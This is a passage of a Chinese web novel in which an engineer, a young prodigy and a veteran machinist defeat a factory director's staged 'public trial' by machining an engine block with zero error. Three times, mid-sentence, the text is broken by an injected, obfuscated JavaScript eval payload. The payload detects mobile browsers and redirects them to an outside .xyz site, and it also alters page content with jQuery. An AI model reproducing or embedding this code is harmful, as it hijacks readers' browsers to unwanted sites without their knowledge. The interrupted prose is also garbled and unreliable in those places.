“听说了吗?江总工跟马恒干起来了!” “何止是跟马恒!那是在跟王厂长叫板!江总工在生产板上写了,那柴油机项目,归共和国管!” “我的乖乖!这话也敢说?**这是吃了熊心豹子胆了?” “什么熊心豹子胆!那是被逼急了!王德发那伙人做得太过分了!咱们厂再这么搞下去,迟早得完蛋!” “最神的不是这个,最神的是,他们居然把‘鬼见愁’给请动了!明天一早,归师傅亲自给他们操刀!” “真的假的?归鸿那老怪物,连王厂长的面子都不给,能听他们的?” “千真万确!有人亲眼看见的,说是那个叫路承舟的年轻人,拿了张图纸,跟归师傅两个人在那儿对了半天,跟神仙斗法一样,最后归师傅就服了!” 一时间,议论声、惊叹声、质疑声,在红星厂的每一个角落里发酵、升温。 江建国,这个名字已经沉寂了太久,久到快要被人遗忘。 而今天,他以一种最激烈、最决绝的方式,重新回到了所有人的视野中心。 路承舟,这个名字对大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341883|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多数人来说还很陌生。 但经过今晚,他已经被蒙上了一层神秘而又传奇的色彩。 所有人都知道,明天,机加工车间的心脏地带,那台T68卧式镗床前,将要上演一场决定无数人命运的大戏。 而此刻,这场大戏的反派主角,正在他那间宽大的办公室里,释放着滔天的怒火。 “废物!一群废物!” 一只厚重的搪瓷茶杯,被王德发狠狠地掼在地上,摔得四分五裂。 滚烫的茶水混着茶叶,溅得到处都是。 马恒战战兢兢地站在办公桌前,低着头,连大气都不敢喘。 他那张平日里颇有几分威严的脸,此刻肿胀发紫,写满了**与恐惧。 王德发胸膛剧烈地起伏着,那张保养得宜的国字脸上,青筋暴起。 他像一头被困在笼中的狮子,来回踱步,每一步都仿佛要将厚实的地板踩穿。 “江建国……好一个江建国!” 他从牙缝里挤出这个名字,眼神阴鸷得可怕,“还有那个不知道从哪儿冒出来的小杂种!他们这是要干什么?他们这是要**!” “归共和国管?” 他猛地停下脚步,转头死死地盯着马恒,脸上浮现出一丝狰狞的冷笑,“他这是在给我上眼药!他这是在向部里告我的状!他这是想把我王德发,放在火上烤!” 办公室里的空气,压抑得仿佛要凝固成实质。 马恒的冷汗,已经浸透了内里的衬衫。 良久,王德发那粗重的喘息声,才渐渐平复下来。 他眼中的狂怒退去,取而代之的,是一种更加冰冷、更加危险的算计。 他缓缓走回自己的座位,一屁股坐进宽大的皮椅里,十指交叉,放在桌上。 “好,很好。” 他慢慢地说道,“他不是想让所有人都看吗?他不是想当英雄吗?我成全他。” 他抬起眼,那双精明的眼睛里,闪烁着毒蛇般的光芒。 “马恒,你现在就去通知。明天早上八点,厂安全生产委员会、技术质量监督处、设备动力处,所有相关部门的负责同志,都到机加工车间开一个现场会。” “会议的主题,就是观摩学习‘红星一号’项目的首件关键工序加工。” “告诉他们,要带上最精密的量具,带上最严格的标准,更要带上眼睛和脑子。” 王德发的声音,一字一顿,冰冷彻骨。 “江建国不是要一场公开审判吗?” “我就给他一场公开审判。” 第102章 审判席 黎明,是一柄锋利而冰冷的解剖刀,精准地剖开了笼罩着红星厂的沉沉夜幕。 第一缕微光刺破天际,尚未驱散彻骨的寒意,便被高耸的烟囱与纵横的管道切割得支离破碎,最终化作斑驳的光影,无力地洒在这座沉睡的钢铁巨兽身上。 然而,今天的红星厂注定无法安眠。 一股无形的、躁动的暗流,早已在夜色的掩护下,渗透进了每一条生产线,每一个工段,每一个即将苏醒的灵魂深处。 七点整,距离上班号角吹响还有整整一个小时,机加工车间那扇厚重的铁门前,却已经自发地**起了黑压压的人群。 他们是铸造车间的老师傅,是锻压车间的壮汉,是热处理车间的技术员,甚至还有来自总装车间、闻讯而来的好事者。 他们三五成群,压低了声音交头接耳,呼出的白气在清晨的寒风中迅速交织、消散。 所有人的目光,都带着一种混杂着期待、担忧与兴奋的复杂情绪,不约而同地投向车间深处,投向那个传说中的技术圣域T68卧式镗床所在的区域。 那里,将是今天风暴的中心。 七点三十分,江建国到了。 他换上了一身崭新的蓝色工装,熨烫得没有一丝褶皱。 那张饱经风霜的脸上,疲惫与决然交织,一夜未眠带来的血丝布满了他的双眼,却丝毫无法掩盖那双眸子深处燃起的、熊熊的战意。 他没有理会周围人群投来的各式目光,只是沉默地、一步一步地,走向那个即将决定他此生荣辱的战场。 路承舟紧随其后。 年轻人依旧是那副平静无波的模样,仿佛即将面对的不是一场你死我活的权力绞杀,而是一次再寻常不过的技术实验。 他的手中,提着一个沉甸甸的帆布工具包,步伐稳健,眼神清澈,那份超乎年龄的镇定与从容,本身就形成了一股强大的、足以安抚人心的力量。 两人穿过人群,径直走向那片被日光灯照得雪亮的区域。 归鸿早已在那里了。 老人仿佛与他那台绿色的机床融为了一体,正用一块鹿皮,一遍又一遍地擦拭着控制手轮上冰冷的金属刻度。 他的世界里,没有即将到来的风暴,没有纷扰的人群,只有千分之一毫米的精度,以及钢铁与刀锋之间最纯粹的对话。 他对江建国与路承舟的到来视若无睹,那份极致的专注,本身就是一种不容侵犯的威严。 七点五十分,车间外传来了一阵异样的骚动。 人群如摩西分海般,自动向两侧分开,让出了一条通道。 王德发来了。 他走在最前面,身着笔挺的深色中山装,面沉如水,眼神锐利如鹰。 他身后,跟着浩浩荡荡的一支队伍。 机加工车间主任马恒,此刻正亦步亦趋地跟在厂长身侧,脸上昨日的**早已被一种狐假虎威的狰狞所取代。 再往后,是安全科的科长,质检处的处长,设备科的总工…… 一个个都是厂里有头有脸的人物。 他们神情肃穆,步履沉重,不像前来观摩,倒更像一支前来执行最终审判的队伍。 这股强大的气场,瞬间将现场那本就紧张的空气,压缩到了近乎凝固的冰点。 王德发停下脚步,目光隔着数十米,精准地锁定了江建国。 他的嘴角,勾起一抹冰冷而又意味深长的弧度。 “江总工,精神不错啊。” 他开口了,声音不大,却清晰地传遍了整个区域,“听说你们项目组,为我们红星厂攻克了一项了不得的技术难关。今天,我特意把厂里的技术骨干都请了过来,大家一起学习学习,见证一下这个历史性的时刻。” 这番话,说得冠冕堂皇,滴水不漏。 他绝口不提昨日的冲突,反而将自己摆在了支持技术革新、关怀下属的高度上。 他要用这种方式,夺回这场“审判”的主导权。 江建国迎着他的目光,寸步不让。 “王厂长有心了。” 他沉声回应,“正好,也请各位领导和专家,一同为我们‘红星一号’项目,把把关。” 空气中,无形的电光石火激烈碰撞。 王德发不再多言,他挥了挥手,他身后的那支“审判队伍”便立刻散开,如同训练有素的士兵,迅速占据了T68机床周围所有关键的观察位置。 质检处长拿出了游标卡尺和塞尺,设备科总工开始检查机床的接地线与润滑油路,安全科长则煞有介事地绕着那尊巨大的缸体毛坯,指指点点。 他们要用最专业的姿态,布下一张天罗地网,等待着猎物露出任何一丝破绽。 马恒清了清嗓子,尖着嗓音喊道:“江总工,按照规程,这么重大的加工项目,必须要有详细的《工艺安全操作规程》和《风险评估预案》,并且上报生产调度室备案。你们的备案文件呢?” 这是第一招,程序上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341884|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刁难。 所有人的目光,瞬间聚焦在了江建国的脸上。 江建国的心,猛地一沉。 他光想着图纸和技术,却忽略了这种最基础、也最致命的文书工作。 然而,不等他开口,路承舟已经上前一步。 他将肩上的帆布包放在工作台上,拉开拉链,从里面取出了一叠厚厚的、用牛皮纸精心装订好的文件。 “马主任,” 路承舟的声音平静而清晰,“您要的文件,都在这里。” 他将文件递了过去。 第一份,标题赫然是《关于‘红星一号’缸体首件机加工工艺链安全风险评估及应对预案》,共计三十五页。 第二份《T68卧式镗床超常规精度加工操作手册(试行版)》,共计五十二页。 第三份《多触点感应线圈阵列局部退火作业指导书》,共计二十八页。 …… 一份又一份,每一份都逻辑严密,数据详实,从刀具选型到冷却液配比,从吊装安全规范到断电应急处理,几乎将所有可能发生的意外,都提前做出了最周全的预判与安排。 马恒的脸色,从得意到错愕,再到难以置信,最后化作一片死灰。 他那只伸在半空中的手,僵硬得如同石化。 王德发的瞳孔,也骤然收缩。 他身后的那些技术专家们,更是下意识地凑了过来。 当他们看清文件上那些密密麻麻的公式和流程图时,脸上纷纷露出了骇然之色。 这哪里是临时抱佛脚的产物? 这份准备工作的详尽与深入程度,甚至已经超过了厂里最顶级的军工项目! 路承舟仿佛没有看到他们脸上的震惊,只是淡淡地补充了一句。 “所有文件,我都准备了复印件。各位领导和专家可以人手一份,方便随时监督、指正。” 话音落下,整个现场,鸦雀无声。 那叠厚厚的、散发着油墨清香的文件,如同一面坚不可摧的盾牌,将王德发蓄谋已久的第一**势,轻描淡写地,彻底粉碎。 一直沉默不语的归鸿,此刻终于停下了手中的动作。 他那双浑浊的老眼,第一次从机床上移开,深深地看了一眼那个平静得过分的年轻人。 而后,他转过身,面向那尊静静矗立的缸体毛坯,嘶哑的声音,如同拉响了战争的号角。 “时间到了。” “上料。” 第103章 宗师之手 那一声嘶哑的“上料”,仿佛是一道无声的敕令,瞬间斩断了现场所有的嘈杂与骚动。 空气,在这一刻变得粘稠而沉重。 所有人的目光,都下意识地追随着归鸿那微微抬起的手,汇聚向车间高处那台缓缓移动的巨兽行车。 “嗡”沉闷的电流声响起,巨大的吊钩在一名经验老到的行车工的操作下,以一种与它庞大体型毫不相称的平稳与精准,缓缓下降。 粗壮的钢丝绳绷得笔直,末端的锁具在灯光的照射下,闪烁着冰冷的金属寒光。 江建国的心,随着那吊钩的下降,被一寸寸地揪紧。 他下意识地握紧了拳头,指节因为过度用力而微微发白。 成败,在此一举。 那尊静静躺在特制托盘上的缸体毛坯,终于要迎来它命运的裁决。 它通体呈现出一种粗糙的暗灰色,表面上还残留着铸造时留下的斑驳痕迹。 在周围那些闪耀着精密光泽的成品零件映衬下,它显得如此笨拙、丑陋,像一块被人随意丢弃的“烂铁”。 然而,就是这块“烂铁”,此刻却成了全场风暴的绝对中心。 王德发的目光阴沉地锁定着它,眼神里充满了毫不掩饰的厌恶与鄙夷。 在他看来,这东西不仅是江建国与路承舟的痴心妄想,更是即将把他们钉死在耻辱柱上的铁证。 他身旁的安全科长抓住机会,立刻上前一步,高声喊道:“等一下!吊装作业是重大安全风险源!按照规定,必须对吊具、索具进行二次检查,并确认吊装路径下方无障碍物!你们的《吊装安全预案》呢?” 这又是一次程序上的发难,刁钻而又无法反驳。 人群中响起一阵低低的骚动。 谁都知道这是在鸡蛋里挑骨头,但安全生产大于天,这顶帽子扣下来,谁也扛不住。 江建国的脸色瞬间变得铁青,正要开口反驳,路承舟却再次不紧不慢地从那个帆布包里,又抽出了一份文件。 “科长,您要的预案在这里。” 他将文件递了过去,语气平静无波,“《‘红星一号’缸体毛坯厂内转运及吊装作业安全规程》,包括对行车起重量、吊钩磨损度、钢丝绳安全系数的全部核算,以及从地面到机床的五步吊装法。我们建议采用双索四点起吊,以保证重心绝对稳定。” 安全科长脸上的得意,瞬间凝固了。 他下意识地接过那份文件,只翻了两页,额头上便渗出了一层细密的冷汗。 文件里的内容,比他这个科长亲自制定的全厂安全手册,还要详尽,还要专业! 王德发的眼角,狠狠地抽搐了一下。 他发现,自己精心组织的这场围剿,就像一记记重拳,全都打在了一团深不可测的棉花上。 对方早已预判了他所有的攻击路线,并且提前挖好了壕沟,布下了壁垒。 “检查!” 王德发从牙缝里挤出两个字。 安全科长如蒙大赦,立刻带着两个人,拿着手电和卡尺,装模作样地对着吊钩和钢丝绳一通检查。 然而,检查的结果,却让他们更加难堪所有的指标,都完美地符合,甚至优于路承舟在文件中所列出的安全标准。 这场无聊的闹剧,在众人心照不宣的注视下,草草收场。 归鸿从始至终都没有看他们一眼,仿佛这一切都与他无关。 直到吊钩稳稳地悬停在缸体上方,他才终于再次开口,声音里透着一丝不耐。 “挂索。” 两名早已待命的钳工立刻上前,动作麻利地将四根粗大的钢索,牢牢地固定在缸体预留的吊装孔上。 “起。” 归鸿一声令下,行车工精神高度集中,缓缓推动操作杆。 伴随着一阵令人牙酸的金属摩擦声,那尊重达数吨的钢铁巨物,终于脱离了地面。 它在空中微微摇晃了一下,随即在四根钢索的强大拉力下,以一种无可匹敌的姿态,稳稳地悬浮在了半空。 那一刻,整个车间仿佛都安静了。 所有人都屏住了呼吸,仰头注视着这尊在空中缓缓平移的庞然大物。 它遮蔽了天花板上的灯光,投下一片巨大的阴影,如同乌云压顶,带着一股令人窒息的压迫感,缓缓地、一寸一寸地,移向那台德产的T68卧式镗床。 终于,缸体来到了机床的正上方。 接下来的工序,是落位与找正。 这是整个加工过程中,最考验基本功,也最枯燥乏味的一环,却也是决定最终精度的地基。 地基不稳,万丈高楼亦是空中楼阁。 归鸿走上前,亲自接管了指挥。 “下落,慢。” 他的声音不大,却带着一种不容置疑的穿透力。 缸体缓缓下降,在距离机床工作台面还有十几公分时,他猛然喝道:“停!” 行车工的操作精准到毫秒,巨大的缸体瞬间在空中纹丝不动。 归鸿没有使用任何现代化的测量仪器,他只是绕着缸体,走了半圈。 他的那双浑浊的老眼,微微眯起,如同鹰隼在审视自己的猎物。 他的目光,在缸体粗糙的表面上,在工作台冰冷的铸铁平面上,来回扫视。 没有人知道他在看什么。 他只是看,沉默地看。 一分钟,两分钟。 现场的气氛,压抑到了极点。 王德发身后的质检处长,已经拿出了水平仪和激光经纬仪,准备等缸体一落位,就立刻上前挑 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那枚指示着绝对水平的绿色水泡,不偏不倚,稳稳地,死死地,定格在了两条刻度线的正中央! 完美。 一种超越了仪器,超越了理论,仅凭一双肉眼和一枚硬币就达成的,匪夷所思的完美! “这……这怎么可能?” 一声压抑不住的惊呼,从质检处长的喉咙里挤了出来。 他不敢相信自己的眼睛,用力地揉了揉,再次看去。 结果,依旧如故。 整个现场,陷入了一片死寂。 如果说,路承舟之前拿出的那些文件,是理论与逻辑上的完美防御,那么归鸿此刻展现出的这一手,就是纯粹实力上的、不讲任何道理的绝对碾压! 这已经不是技术。 这是神技! 是艺术! 是一个老匠人穷尽一生,将自己的血肉灵魂与冰冷的钢铁彻底融为一体后,所能达到的最高境界! 王德发的脸色,瞬间变得比脚下的水泥地还要难看。 而江建国,那颗悬在嗓子眼的心,终于轰然落回了胸腔。 他的眼中,爆发出无与伦伦的狂喜与崇敬。 他知道,这场战争,他们已经赢了一半。 归鸿对周围的震惊恍若未闻。 他缓缓走上前,伸出那只布满了老茧和油污的手,轻轻地,如同抚摸情人的肌肤一般,在那尊冰冷的缸体上,缓缓滑过。 他的眼神,专注而虔诚。 从这一刻起,这里,便是他的领域。 神魔禁行。 第104章 第一刀 死寂。 一种混杂着敬畏与骇然的死寂,如同一场无声的雪崩,瞬间席卷了整个车间。 那枚在刻度线中央纹丝不动的水泡,仿佛拥有某种神秘的魔力,将所有人的思维都冻结在了原地。 它不仅是一次水平的校准,更是一次对在场所有技术人员认知体系的、蛮不讲理的颠覆。 王德发脸上的肌肉,在剧烈地抽搐。 他精心策划的“公开审判”,从程序刁难到安全规程,再到这最基础的装夹定位,三板斧尚未挥出,斧柄却已尽数被对方那看似随意的招式震得脱手。 他带来的那支“审判队伍”,此刻更像是一群目睹了神迹后手足无措的信徒,脸上的表情从专业、严苛,变成了茫然与自我怀疑。 他想发作,想呵斥,想用厂长的权威强行扭转这荒诞的局面。 可他不能。 因为归鸿所展现的,是技术。 是这个工厂赖以生存的、最纯粹、最不容置疑的根本。 在“技术”这尊神只面前,任何行政权力都显得苍白而可笑。 江建国紧绷的身体终于彻底松弛下来,一股巨大的、近乎虚脱的狂喜涌遍四肢百骸。 他望着归鸿那瘦削却如山岳般可靠的背影,眼眶竟有些湿润。 他知道,这位与自己斗了一辈子气的老伙计,正在用他毕生的修为,为自己,也为那个叫路承舟的年轻人,撑起一片绝对的、不容侵犯的领域。 在这片领域里,归鸿便是唯一的王。 老人对周围的惊涛骇浪恍若未觉。 他缓缓走到机床的操作台前,那双布满油污的手,开始在一排排冰冷的按钮与手轮间,从容不迫地游走。 他的动作不快,却带着一种行云流水般的韵律,仿佛不是在操作一台冰冷的机器,而是在抚弄一件相伴多年的古老乐器。 “镗刀。” 他头也不回地吐出两个字。 路承舟应声上前,将那个一直提在手中的帆布工具包,轻轻放在了铺着绒布的工作台上。 他拉开拉链,没有去拿那些常规的、存放在工具柜里的制式刀具,而是从中取出了一根被厚厚油纸包裹着的、长条形的物体。 所有技术人员的目光,瞬间被吸引了过去。 当路承舟一层层地揭开油纸,那根镗刀的真容终于暴露在灯光之下时,人群中再次响起了一片压抑不住的、倒吸冷气的声音。 那是一根通体呈现出暗金色泽的镗刀杆,其表面光滑如镜,却又隐隐透着一种奇异的、如同金属结晶般的纹理。 而最令人心惊的,是它前端镶嵌的那枚刀头。 那刀头极小,只有指甲盖大小,呈现出一种近乎纯黑的色泽,其切削刃的几何角度,更是怪异到了极点,完全颠覆了在场所有技术人员的教科书认知。 “这是什么东西?” 设备科的总工终于忍不住失声叫道,“这根本不是我们厂里的标准刀具!材质不明,角度诡异,用这种东西进行精加工,万一在高速旋转中断裂,后果不堪设想!” 他的话,立刻得到了其他几位专家的附和。 “没错!这不合规矩!任何非标刀具的使用,都必须经过材料实验室的强度测试和金相分析!” “太乱来了!简直是胡闹!这是拿国家财产开玩笑!” 王德发阴沉的脸上,终于重新浮现出一丝胜券在握的冷笑。 他找到了,他终于找到了一个对方无论如何也无法绕开的死穴! 技术,终究要建立在规范和标准之上。 你们再神,也神不过科学! “江建国!” 王德发的声音陡然拔高,带着一种居高临下的审判意味,“你作何解释?” 这一次,江建国没有慌乱。 他只是平静地看了一眼身旁的路承舟。 路承舟迎着所有质疑的目光,不疾不徐地从那个神奇的帆布包里,又一次拿出了一份文件。 他将文件递给那位设备科总工,清朗的声音在嘈杂中格外清晰。 “总工,这是这根‘梯度硬质合金复合烧结镗刀’的全部技术资料。包括材料配比、烧结工艺、洛氏硬度测试报告,以及切削刃的有限元应力分析模型。” 他顿了顿,目光扫过王德发那张瞬间僵住的脸。 “至于金相分析,我们也做了。如果您对我们的数据信不过,刀杆的末端预留了取样口,您可以随时切一块下来,拿回实验室,用我们厂自己的设备,重新做一遍。” 那名总工的手,颤抖着接过了那份文件。 他身后的几位专家立刻如同嗅到血腥味的鲨鱼般围了上来,脑袋凑在一起,目光死死地钉在那份文件上。 然而,仅仅几秒钟后,他们所有人的脸上,都浮现出了一种见了鬼般的骇然。 梯度硬金…… 复合烧结? 有限元应力分析? 这些名词,他们听过,却只在国外最顶尖的学术期刊上见过寥寥数语的介绍。 那代表着金属切削领域最前沿、最尖端的方向,是他们连想都不敢想的未来科技! 而现在,这份未来科技的详细资料,就活生生地,如同天方夜谭一般,摆在了他们的眼前。 王德发的笑容,彻底凝固在了脸上。 他感觉自己像一个不断挥拳攻击的莽夫,却发现对方的身上,套着一层又一层他闻所未闻、见所未见的坚固铠甲。 他所有的攻击,都显得如此幼稚,如此可笑。 归鸿根本没有理会这场闹剧。 他只是伸出手,从路承舟手中,接过了那根暗金色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341886|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的镗刀。 他用指腹,轻轻地在那漆黑的刀刃上,缓缓划过。 那双浑浊的老眼中,第一次,爆发出一种近乎贪婪的、炽热的光芒。 那是一个顶级的剑客,终于见到了一把绝世好剑时才会有的眼神。 他不再有任何犹豫,动作娴熟而又带着一丝朝圣般的郑重,将这根承载着无数人希望与命运的镗刀,稳稳地安装进了T68卧式镗床那粗壮的主轴之内。 “嗡”他按下了启动按钮。 沉闷的电机声响起,带着一股令人心悸的雄浑力量。 机床的主轴开始缓缓转动,然后越来越快,最终化作一道肉眼难以捕捉的暗金色残影。 整个车间,落针可闻。 所有人都屏住了呼吸。 归鸿的目光,变得锐利如刀。 他的一只手,稳稳地搭在了控制进给速度的转轮上。 他缓缓转动转轮。 在数百道目光的注视下,那高速旋转的镗刀,开始向着静静矗立的缸体,发起了它宿命般的第一次冲锋。 近了。 更近了。 所有人的心,都提到了嗓子眼。 王德发死死地盯着那即将接触的一点,眼中充满了恶毒的诅咒,他仿佛已经听到了刀具崩碎的刺耳尖啸。 终于“滋”一声轻微却又无比清晰的声响,传入每个人的耳中。 那不是金属与金属之间痛苦的嘶吼,更不是刀具不堪重负的哀鸣。 那声音,清越、平稳、流畅,如同春蚕在啃食桑叶,又如同顶级的丝绸被利刃裁开。 一道亮银色的金属屑,从刀刃与缸壁的接触点,优雅地卷曲、延伸,形成了一道完美的、散发着幽幽蓝紫色光泽的螺旋。 它在空中划过一道美丽的弧线,最后“叮”的一声,落在了下方盛装切屑的铁盘之中。 成了! 江建国的双拳,在这一瞬间狠狠地攥紧,巨大的喜悦如同火山喷发,几乎要让他仰天长啸! 任何一个干过机加工的人都知道,这一声清越的切削音,这一道蓝紫色的完美铁屑,意味着什么。 那意味着,刀具的材质、角度、机床的转速、走刀的进给量…… 所有的一切,都达到了一个天人合一般的、绝对完美的平衡点! 王德发脸上的血色,“唰”地一下,彻底褪尽。 他身后的那群专家,更是如同被集体施了定身法,一个个呆若木鸡,眼神空洞地望着那不断向外延伸的、梦幻般的蓝紫色金属螺旋。 他们的脑海中,只剩下一个念头。 审判? 不。 这不是审判。 这是神迹。 是一场在他们眼前活生生上演的、足以被载入共和国工业史册的神迹! 第105章 无声的征服 那一道蓝紫色的金属螺旋,仿佛拥有生命。 它从高速旋转的刀刃下诞生,带着新淬的火焰色泽,以一种优雅而决绝的姿态向外延伸。 它不是断裂的碎屑,不是痛苦的崩渣,而是一条完整、连续、光滑得如同艺术品般的缎带。 这道缎带所卷曲出的每一个弧度,都精确地宣告着一场完美的切削正在发生。 这声音,这色泽,这形态,便是机加工领域中最朴素,也最雄辩的真理。 在场的所有人,无论是心怀鬼胎的干部,还是翘首以盼的工人,都在这一刻被这不容置疑的真理所震慑。 空气中那股剑拔**张的**味,被这道螺旋缎带散发出的炽热温度,悄然引燃,又在瞬间燃烧殆尽,只留下一片混杂着骇然与敬畏的真空。 车间里数百号人,竟无一人出声。 他们只是看着,目光仿佛被磁石吸附,死死地钉在那不断延伸的蓝紫色光带上。 那不是在观看一场工业生产,而是在朝圣一门濒临失传的绝技。 王德发身后的那群技术专家,此刻的脸色比调色盘还要精彩。 他们脸上的倨傲、质疑与不屑,早已被一种巨大的、荒谬的震惊所取代。 作为各自领域的权威,他们比任何人都清楚眼前这一幕意味着什么。 那意味着,在他们穷尽毕生所学也无法完全勘破的领域里,在他们需要依赖无数次试错和繁琐计算才能勉强接近的理想状态下,眼前这个枯瘦的老人,仅凭一双手,一颗心,便抵达了那个名为“完美”的彼岸。 设备科总工的嘴唇无声地开合着,他想起了路承舟递给他的那份文件,那上面匪夷所思的刀具设计,那些如同天书般的力学分析模型。 他原以为那是纸上谈兵的狂妄,此刻才明白,那是早已洞悉了一切的从容。 理论与实践,在此刻实现了神迹般的统一。 而王德发,他的身躯僵硬如铁。 那张保养得宜的国字脸上,血色正以肉眼可见的速度褪去,最终化作一种死灰般的苍白。 他感觉自己不是站在一个嘈杂的车间里,而是被独自抛弃在了一座宏伟的神殿前。 殿门洞开,神光万丈,而他,则是那个试图用世俗权柄去玷污神性的、最卑微可笑的亵渎者。 他的权威,他的谋划,他的整场“审判”,都在那清越的切削声中,被碾得粉碎。 归鸿的世界里,没有这些纷扰。 他的身心,早已与这台轰鸣的德产机床融为一体。 他的呼吸,就是机床液压系统平稳的脉动;他的目光,就是镗刀尖端那无坚不摧的锋芒。 他站在操作台前,双手时而轻抚手轮,进行着以“丝”为单位的微调,时而又果断地按下按钮,切换着不同的工序与转速。 整个加工过程,行云流水,一气呵成。 镗孔,铣面,钻削油道,攻丝螺孔…… 一道道工序,在归鸿的手中无缝衔接,其间的效率与流畅度,彻底颠覆了在场所有人的认知。 按照正常的工艺流程,每完成一道关键工序,都需要重新进行测量、校准,耗费大量的时间。 可归鸿却仿佛拥有一双能够透视钢铁的眼睛,他总能在一个匪夷所思的角度完成切削后,不经任何停顿,便直接让刀具以一个全新的姿态,切入下一个加工点。 这已经不是在遵循图纸,而是在用刀锋作画,用钢铁谱曲。 路承舟始终静静地站在一旁,他的眼神平静,却又无比专注。 他没有去看归鸿的操作,而是将目光锁定在那尊巨大的缸体之上。 他看到的,是自己脑海中那无数条数据流,正在通过一位宗师之手,被精准无误地复刻到现实的物质世界里。 一个小时,两个小时。 时间在极致的专注中失去了意义。 当最后一刀完成切削,归鸿果断地按下了红色的停止按钮。 “嗡”那持续了两个多小时的、雄浑而平稳的轰鸣声戛然而止。 巨大的主轴带着最后一丝惯性缓缓停下,整个世界,瞬间陷入了一片深沉的寂静。 这突如其来的安静,仿佛一记重锤,将所有沉浸在震撼中的人,猛然敲醒。 成了? 这就…… 成了? 所有人的目光,都汇聚向那尊静静矗立在工作台上的缸体。 它依旧是那副笨重的模样,但其表面,却已然发生了翻天覆地的变化。 那些被加工过的平面,光滑如镜,在日光灯的照耀下,反射出清冷而锐利的光芒。 那些新生的孔洞,边缘整齐,内壁闪耀着均匀的金属纹理。 它仿佛一头被驯服的洪荒巨兽,收敛了所有的粗野与狂暴,只剩下一种由内而外散发出的、属于精密工业造物的沉静之美。 归鸿向后退开一步,脱下沾满油污的手套,用一块干净的棉布,仔细地擦拭着自己的双手。 他看都未看那件凝聚了他毕生心血的作品,仿佛只是做了一件微不足道的小事。 现场的死寂,被一阵压抑的、粗重的喘息声打破。 是王德发。 他死死地盯着那尊缸体,眼中最后一丝理智,已经被疯狂的赌徒心态所取代。 他败了,在过程上败得一塌糊涂。 但他还有最后一张牌,也是唯一的一张牌结果。 只要能从这件成品上找到一丝一毫的瑕疵,哪怕只是千分之一毫米的误差,他就能将这场神迹,污蔑为一次华而不实的表演, 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他低下头,将目光聚焦在表盘那细密的刻度之上。 下一秒,他的瞳孔,骤然收缩成了一个最危险的针尖。 他看到了。 他看到了那个黑色的指针,不偏不倚,纹丝不动地,精准地指向了那个代表着“零”的刻度。 不是千分之一毫米的误差。 不是百分之一毫米的误差。 是零。 是理论上存在,却在现实中被认为永远无法达成的,绝对的零误差。 一种源于灵魂深处的、比震惊更加恐怖的情绪,瞬间攫住了他的心脏。 那是一种凡人仰望神明时,因无法理解其伟大而产生的、最纯粹的恐惧。 他的手,开始不受控制地剧烈颤抖起来。 冰冷的汗水,从他的额角滑落,滴落在量表冰冷的玻璃罩上,洇开一小片模糊。 他猛地抬起头,失魂落魄地望向人群。 他的目光越过一张张紧张而期待的脸,最终,与不远处那个年轻人平静如水的眼神,在空中相遇。 王德发见他迟迟没有报数,脸色铁青地厉声喝道:“数据呢!哑巴了吗?” 质检处长嘴唇翕动,喉结剧烈地上下滚动着。 他想开口,想将那个足以让整座工厂为之颠覆的数字喊出来。 可是,他发不出任何声音。 他只是用一种近乎见鬼的眼神,死死地看着路承舟,那张平日里威严的脸上,只剩下一种表情。 是为,绝望。 第106章 零的审判 时间,仿佛在质检处长那张失却血色的脸上凝固了。 他手中的内径量表,那件象征着红星厂最高检验权威的精密仪器,此刻却重若千钧,几乎要将他的手腕压断。 他张着嘴,喉咙里发出嗬嗬的、如同漏风风箱般的声响,却吐不出一个完整的音节。 王德发的耐心,终于在这一片死寂的煎熬中消耗殆尽。 “数据!” 他发出一声暴喝,声音因极致的愤怒而扭曲尖利,像一根烧红的铁针,狠狠刺向现场每一个人的耳膜,“把数据报出来!你聋了还是哑了?” 这一声怒吼,如同惊雷,终于将质检处长那游离的魂魄从无边的惊骇中拽了回来。 他猛地一颤,目光涣散地从路承舟那张平静得可怕的脸上移开,重新落回自己手中的表盘。 那根黑色的指针,依然冷酷地、精准地,钉在“零”的刻度上。 它像一个沉默的判官,宣读着一份足以颠覆整个工厂认知体系的终极判决。 “是……” 一个微弱到几乎听不见的音节,从质检处长干裂的嘴唇间挤了出来。 他的声音,嘶哑,颤抖,充满了荒诞与不信。 “是……零……” 这两个字,轻飘飘的,仿佛没有任何分量。 然而,当它们传入距离最近的设备科总工耳中时,却仿佛引爆了一场无声的核爆。 “什么?” 总工一把推开挡在身前的人,几乎是扑到了缸体前。 他一把夺过质检处长手中那冰冷的量表,不顾一切地将其探入那个光滑如镜的孔洞之内,亲自进行复检。 他的动作急切而粗暴,完全失去了平日里技术权威的沉稳。 一秒,两秒。 